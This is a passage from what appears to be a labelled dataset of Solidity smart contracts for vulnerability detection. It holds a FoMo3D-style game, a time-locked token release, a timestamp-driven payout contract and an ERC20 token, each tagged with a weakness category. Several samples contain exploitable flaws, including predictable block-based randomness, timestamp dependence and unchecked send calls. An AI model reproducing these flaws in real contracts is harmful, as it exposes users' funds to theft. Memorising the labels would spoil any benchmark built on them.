pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(20)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin1.transfer(_com.sub(_com / 2)); admin2.transfer(_com / 2); round_[_rID].pot = _pot.add(_p3d); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 50; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d = 0; if (!address(admin1).call.value(_com.sub(_com / 2))()) { _p3d = _p3d.add(_com.sub(_com / 2)); } if (!address(admin2).call.value(_com / 2)()) { _p3d = _p3d.add(_com / 2); } _com = _com.sub(_p3d); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { admin1.transfer(_aff.sub(_aff / 2)); admin2.transfer(_aff / 2); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { round_[_rID].pot = round_[_rID].pot.add(_p3d); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(15)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require((msg.sender == admin1 || msg.sender == admin2), ""only admin can activate""); require(activated_ == false, ""already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x032628209eff406da070759e7bad0fcce57dbd2e_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30585600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x98F6a04d5A9F244456B94Fd1C4BFbCdE190F07cd; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 3083.sol," contract Medban { uint public players = 0; uint amount; uint time; uint payment; address winner; address public owner; address public meg = address(this); modifier _onlyowner { if (msg.sender == owner || msg.sender == 0xC99B66E5Cb46A05Ea997B0847a1ec50Df7fe8976) _ } function Medban() { owner = msg.sender; } function() { Start(); } function Start(){ address developer=0xC99B66E5Cb46A05Ea997B0847a1ec50Df7fe8976; if (msg.sender == owner) { UpdatePay(); }else { if (msg.value == (1 ether)/20) { uint fee; fee=msg.value/10; developer.send(fee/2); owner.send(fee/2); fee=0; amount++; if (amount>10) { uint deltatime = block.timestamp; if (deltatime >= time + 1 hours) { payment=meg.balance/100*70; amount=0; winner.send(payment); payment=0; } } time=block.timestamp; winner = msg.sender; } else { uint _fee; _fee=msg.value/10; developer.send(_fee/2); owner.send(_fee/2); fee=0; msg.sender.send(msg.value - msg.value/10); } } } function UpdatePay() _onlyowner { if (meg.balance>((1 ether)/20)) { msg.sender.send(((1 ether)/20)); } else { msg.sender.send(meg.balance); } } }",./Dataset/timestamp dependency (TP)/,6,6 32386.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract SKToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function SKToken( ) { balances[msg.sender] = 5000000; totalSupply = 5000000; name = ""SKToken""; decimals = 0; symbol = ""SKT""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. 